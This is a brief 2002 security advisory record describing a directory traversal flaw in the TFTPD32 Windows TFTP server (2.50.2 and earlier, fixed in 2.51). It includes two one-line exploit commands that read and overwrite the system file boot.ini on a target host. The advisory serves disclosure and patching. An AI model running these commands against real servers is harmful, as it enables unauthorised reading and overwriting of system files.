TFTPD32 Directory Traversal Vulnerability

2002-11-19T00:00:00
ID SECURITYVULNS:DOC:3770
Type securityvulns
Reporter Securityvulns
Modified 2002-11-19T00:00:00

Description

Advisory available at: http://www.securiteam.com/windowsntfocus/6D00D2061G.html

TFTPD32 Directory Traversal Vulnerability

SUMMARY

<http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol (specified in the RFC 1350).

A vulnerability in the product allows remote attackers to view any file on the system as well as write to arbitrary locations.

DETAILS

Vulnerable systems: * TFTP32 version 2.50.2 and prior

Immune systems: * TFTP32 version 2.51

Exploit: Getting files: tftp host GET /boot.ini

Storing files: tftp host PUT myfile /boot.ini

ADDITIONAL INFORMATION

The information has been provided by <mailto:expert@securiteam.com> SecurITeam Experts.

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